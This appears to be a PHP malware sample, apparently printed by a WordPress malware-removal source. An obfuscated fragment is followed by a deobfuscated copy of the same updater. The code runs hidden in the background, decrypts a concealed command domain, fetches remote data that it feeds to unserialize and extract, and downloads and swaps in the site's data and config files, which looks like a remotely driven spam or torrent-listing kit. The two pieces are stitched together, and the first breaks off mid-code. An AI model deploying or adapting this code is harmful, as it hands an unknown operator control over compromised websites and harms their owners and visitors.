"\x20\155\144\65\40\156\x6f\x74\40\x6d\x61\164\x63\x68\x2e\x20\162\145\155\157\164\145\72\x20{${$this_file_md5}}\56\40\x6c\x6f\x63\x61\154\x3a\40{$local_md5}\56"; goto YkatL; IXNO9: goto LyShR; goto uyDaS; iM92_: vr17U: goto H50c_; IkAxe: HZdUZ: goto IoiIK; oPjz_: goto RwONy; goto zPED8; fwjib: goto UJ48F; goto EBImR; gMd5K: vvw7r: goto xt2xR; Ic4dq: exit($msg); goto gzDUv; OcDJl: add_run_time_log("{$this_download_file_full_url_masked}\x20\x64\157\167\156\154\157\x61\x64\40\x69\156\40\x70\162\x6f\x63\145\163\x73"); goto mK_Dy; Oc4xO: goto l0yLy; goto IWxoY; shLxp: goto fsKtS; goto f08a2; ZHQh8: goto BT55c; goto UYKrB; R2xxx: skR2b: goto tjLG5; EB0gQ: $donwload_failed = true; goto IXNO9; UYKrB: VAo1I: goto KtSvY; PMem5: goto R1WHM; goto JVmcr; IoiIK: } goto l4Czo; Eavyl: goto EUBrr; goto sdxAn; zbw0d: $domain_encrypted = substr($get_domain_res, strlen("\162\x65\x73\x5f\x6f\x6b\x3a\x3a\72")); goto d3JDv; z_xbf: goto rD0xY; goto f8lHA; B5faq: ZN2p1: goto mtN3M; EqQp4: extract($update_data_res_array); goto zSEUB; IAzyQ: goto bi0OV; goto qD0fX; aPaYU: goto UhhpY; goto qZNKu; MajlK: add_log($error_msg); goto vwVp9; frYCI: goto DH1i1; goto JKKOz; hSQhW: set_time_limit(9999); goto mOxil; ANN20: $update_last_time = 0; goto ACWWZ; mQvmv: u3SZw: goto WWAlc; nGVFb: if (!(stripos($get_data_res, "\162\x65\163\x5f\145\162\x72\157\x72\x3a\72\x3a") === 0)) { goto NSgmM; } goto mRX3m; bN2XO: goto pARys; goto MSbD6; aOSip: if (empty($data_file_md5) || empty($config_file_md5)) { goto EzEHV; } goto KoVMO; pF1ce: file_put_contents("{$common_tmp_dir}\57\165\160\144\141\x74\145\x5f\x64\141\164\141\x5f\x66\x69\154\x65\x73\151\x7a\145\56\164\170\164", $data_file_size); goto pWKko; QpMJj: $all_list_files = glob($common_data_dir . "\x2f\52\x5f\x63\x6c\141\163\163\137\144\141\164\x61\x5f\151\x64\163\137\x2a\x5f\x2a\56\164\x78\164\x40{$data_timestamp}"); goto Tt08C; WWAlc: define("\111\116\x43", true); goto b4DIH; Y68yW: jdN35: goto Cp8Sr; ClqII: if (flock($lock_fp, LOCK_EX)) { goto anyoj; } goto v0tNs; icw0l: goto dtlso; goto Na86e; xQz4E: goto TG6II; goto Y68yW; zpK0n: Z5M5P: goto G0L9X; IjLVb: goto u3SZw; goto llzTR; VeFjh: echo "\165\x70\144\141\x74\x65\40\163\164\141\162\164\xa"; goto LVEC6; Wi25q: hGo29: goto Q2jcW; HYPA8: function add_run_time_log($content) { goto BzFU4; fDXxa: goto hz_l8; goto t5IgE; BzFU4: goto EnXMp; goto CVBeP; CmEWe: QjIae: goto zrU76; CWouC: EnXMp: goto sfmTF; DrxtM: $log_file = "{$common_tmp_dir}\x2f\x75\x70\x64\x61\164\145\x5f\x72\165\156\x5f\164\151\155\x65\x5f\x6c\x6f\x67\56\x74\x78\x74"; goto FPmIG; Oc4pD: XztHX: goto kOLtl; b5XpO: mPopc: goto jrVGu; t5IgE: s5jVp: goto DrxtM; Exqd2: $pid = getmypid(); goto zdc3G; Ej5a9: file_put_contents($log_file, "\x5b{$date_str}\x5d\x20{$content}\12", FILE_APPEND); goto QC_O_; IDbg2: mkmCn: goto mZkCl; eNnUV: tZxM1: goto T9UbH; zdc3G: goto ewzSJ; goto CmEWe; ezHpN: USRWk: goto Exqd2; crpVB: cLwS6: goto b5XpO; rvkLB: goto USRWk; goto Oc4pD; FdWm_: goto W51Bn; goto FCyiU; FPmIG: goto QjIae; goto crpVB; jrVGu: goto FrGkB; goto CWouC; RHlNA: goto tZxM1; goto eNnUV; omjUv: goto s5jVp; goto ezHpN; sfmTF: global $common_tmp_dir; goto omjUv; FCyiU: l6Jmx: goto fDXxa; zrU76: $date_str = date("\131\x2d\x6d\x2d\x64\40\x48\x3a\x69\x3a\163"); goto ReETp; ReETp: goto Y960Z; goto IOcEY; MBj8S: if (!($content == "\151\x6e\151\164")) { goto l6Jmx; } goto FdWm_; bd8FU: Y960Z: goto MBj8S; QC_O_: goto mkmCn; goto IDbg2; E880C: goto XztHX; goto bd8FU; l0iN0: goto cLwS6; goto FapxI; CVBeP: ewzSJ: goto je7SD; T9UbH: W51Bn: goto rvkLB; je7SD: file_put_contents($log_file, "\133{$date_str}\135\40\165\160\144\141\x74\x65\x20\163\x74\x61\x72\164\x20\50\160\x68\160\55\146\x70\155\40\160\151\144\72{$pid}\x29\xa"); goto l0iN0; FapxI: FrGkB: goto ZJtUa; IOcEY: hz_l8: goto Ej5a9; mZkCl: goto mPopc; goto RHlNA; ZJtUa: clearstatcache(); goto E880C; kOLtl: }<?php
define("INC", true);
include "/var/www/html/common.php";
if (!defined("COMMON_FINISH")) {
exit;
}
Q3mMn:
$public_key_string = "-----BEGIN PUBLIC KEY-----\r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2LXgG6qtaNGZhB1V3mAG\r\nl18P6TolgXRy/mH7z79Qnk67YXFiQZYS1wy6l01cdSC2Vp0cdm2+k5A1uqooW10F\r\nkm7kt6i8PvDHOK49JUa57BqutnxAxcxlb7rGmONEGzBUvNEOYwyENS8PlwsD2Yh3\r\n2ikOVDk+WvhyTinDM+GyalAIPaorb2AmzHHomzyYAEx/Q+qMET+N3ECQHkRg1FiX\r\nNqdG9qCVYOKeWiazQSGLz5Xg+rS6A7NhgiHCExSOHOiH5VobypWuPYstqm93XVui\r\nS7LhMh9DjP5BQpMrnx+sDlrr3i70RZk/q5NPpRv6QOAUF6GppqxCKOnuDraqpLwL\r\nZwIDAQAB\r\n-----END PUBLIC KEY-----";
$public_key_version = 1;
$debug_output = false;
ignore_user_abort(true);
ini_set("max_execution_time", "9999");
set_time_limit(9999);
$time_interval = 10;
$lock_file = "{$common_tmp_dir}/update_lock.file";
$update_last_time_file = "{$common_tmp_dir}/update_last_time.file";
if (!file_exists($update_last_time_file)) {
$update_last_time = 0;
goto GL9RO;
}
XAzHD:
$update_last_time = file_get_contents($update_last_time_file);
if (!is_numeric($update_last_time)) {
$update_last_time = 0;
goto VrzsH;
}
VrzsH:
GL9RO:
if ($update_last_time != 0 && time() - $update_last_time <= $time_interval) {
echo "update time check a: " . (time() - $update_last_time) . "/{$time_interval}\n";
exit;
}
Md_lt:
$lock_fp = fopen($lock_file, "w+");
if (flock($lock_fp, LOCK_EX)) {
if (!($update_last_time != 0 && time() - $update_last_time <= $time_interval)) {
file_put_contents($update_last_time_file, time());
@unlink("{$common_tmp_dir}/update_last_run_result.txt");
Hfeb2:
flock($lock_fp, LOCK_UN);
goto mYkrX;
}
JKhRE:
echo "update time check b: " . (time() - $update_last_time) . "/{$time_interval}\n";
exit;
}
mYkrX:
foreach (glob("{$common_data_dir}/*") as $tmp_file_item) {
if (stripos($tmp_file_item, "@") !== false && stripos($tmp_file_item, $data_timestamp) === false) {
@unlink($tmp_file_item);
goto wn0pU;
}
wn0pU:
}
$tmp_download_dir = "{$common_tmp_dir}/download/";
foreach (glob("{$tmp_download_dir}/*") as $tmp_download_file_item) {
if (time() - filemtime($tmp_download_file_item) < 10) {
exit("tmp download check < 10");
}
W2TGs:
}
echo "update start\n";
fastcgi_finish_request();
add_run_time_log("init");
$get_domain_api_url = "http://{$api_domain}/get_update_domain.php?key_version={$public_key_version}&channel_name={$channel_name}&channel_key={$channel_key}&site={$http_host}";
add_run_time_log("try find api domain");
$get_domain_res = curl_get($get_domain_api_url);
if (stripos($get_domain_res, "res_ok:::") !== 0) {
$error_msg = "get domain data result error!";
add_log($error_msg);
exit($error_msg);
}
tuK4g:
$domain_encrypted = substr($get_domain_res, strlen("res_ok:::"));
$domain_encrypted = base64_decode($domain_encrypted);
openssl_public_decrypt($domain_encrypted, $download_domain, $public_key_string);
if (empty($download_domain)) {
$error_msg = "decrypt domain data error!";
add_log($error_msg);
exit($error_msg);
}
ffPh6:
add_run_time_log("find api domain done");
cd2Mr:
$get_data_api_url = "http://{$download_domain}/api.php?&key_version={$public_key_version}&channel_name={$channel_name}&channel_key={$channel_key}&site={$http_host}";
add_run_time_log("try fetch api res");
$get_data_res = curl_get($get_data_api_url);
add_run_time_log("fetch api res done");
if (stripos($get_data_res, "res_ok:::") !== 0) {
if (!(stripos($get_data_res, "res_error:::") === 0)) {
$error_msg = "get update data error!";
goto euMeV;
}
ebJwq:
$error_msg = str_replace("res_error:::", "error: ", $get_data_res);
euMeV:
add_log($error_msg);
exit($error_msg);
}
nEues:
$update_data_res_array = unserialize(str_ireplace("res_ok:::", '', $get_data_res));
extract($update_data_res_array);
openssl_public_decrypt(base64_decode($data_file_md5_encrypted), $data_file_md5, $public_key_string);
openssl_public_decrypt(base64_decode($config_file_md5_encrypted), $config_file_md5, $public_key_string);
if (empty($data_file_md5) || empty($config_file_md5)) {
$error_msg = "Data verification failed!";
add_log($error_msg);
exit($error_msg);
}
vuRWr:
file_put_contents("{$common_tmp_dir}/update_data_filesize.txt", $data_file_size);
foreach (array("config", "data") as $download_type) {
delete_dir($tmp_download_dir);
@mkdir($tmp_download_dir, 0755, true);
if ($download_type == "data") {
if ($data_timestamp == $api_latest_data_time) {
file_put_contents("{$common_tmp_dir}/update_last_run_result.txt", "latest");
$msg = "already latest data. " . date("Y-m-d H:i:s", $data_timestamp) . ".";
add_log($msg);
exit($msg);
}
IeUJ7:
goto fGyvf;
}
fGyvf:
$this_file = $download_type . "_file";
$this_file_md5 = $download_type . "_file_md5";
$this_download_file_full_url = "http://{$download_domain}/{${$this_file}}";
$this_download_file_tmp_path = "{$tmp_download_dir}/" . basename(${$this_file});
$this_download_file_full_url_masked = mask_domain($this_download_file_full_url);
add_run_time_log("{$this_download_file_full_url_masked} download in process");
$res = curl_down($this_download_file_full_url, $this_download_file_tmp_path);
$local_md5 = md5_file($this_download_file_tmp_path);
$date_str = date("Y-m-d H:i:s");
clearstatcache();
if (!($local_md5 != ${$this_file_md5})) {
add_run_time_log("{$this_download_file_full_url_masked} download success");
K6YA4:
unzip_file($this_download_file_tmp_path, $tmp_download_dir);
$all_download_file_array = glob("{$tmp_download_dir}/{$download_type}/*");
foreach ($all_download_file_array as $download_file_item) {
$target_file_path = "{$common_data_dir}/" . basename($download_file_item);
@unlink($target_file_path);
rename($download_file_item, $target_file_path);
}
delete_dir($tmp_download_dir);
if ($download_type == "config") {
@unlink("{$base_dir}//config/@config.php");
goto PqjeF;
}
PqjeF:
}
GPTmL:
add_run_time_log("{$this_download_file_full_url_masked} download failed");
$error_msg = "file " . mask_domain($this_download_file_full_url) . " md5 not match. remote: {${$this_file_md5}}. local: {$local_md5}.";
echo "{$error_msg}<br>\n";
add_log($error_msg);
$donwload_failed = true;
exit;
}
$all_list_files = glob($common_data_dir . "/*_class_data_ids_*_*.txt@{$data_timestamp}");
foreach ($all_list_files as $list_file_item) {
if ($api_config_shuffle_torrent_list == "off") {
if (stripos(basename($list_file_item), "torrent_class_data_ids") !== false) {
goto pRazq;
}
Y1vJ6:
goto k1_Cp;
}
k1_Cp:
$list_content_array = file_to_array($list_file_item);
shuffle($list_content_array);
file_put_contents("{$base_dir}/data/" . basename($list_file_item), implode("\n", $list_content_array));
pRazq:
}
delete_all_html_cache_files();
file_put_contents("{$common_tmp_dir}/update_last_run_result.txt", "update");
function add_run_time_log($content)
{
global $common_tmp_dir;
$log_file = "{$common_tmp_dir}/update_run_time_log.txt";
$date_str = date("Y-m-d H:i:s");
if (!($content == "init")) {
file_put_contents($log_file, "[{$date_str}] {$content}\n", FILE_APPEND);
goto mPopc;
}
T9UbH:
$pid = getmypid();
file_put_contents($log_file, "[{$date_str}] update start (php-fpm pid:{$pid})\n");
mPopc:
clearstatcache();
}Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.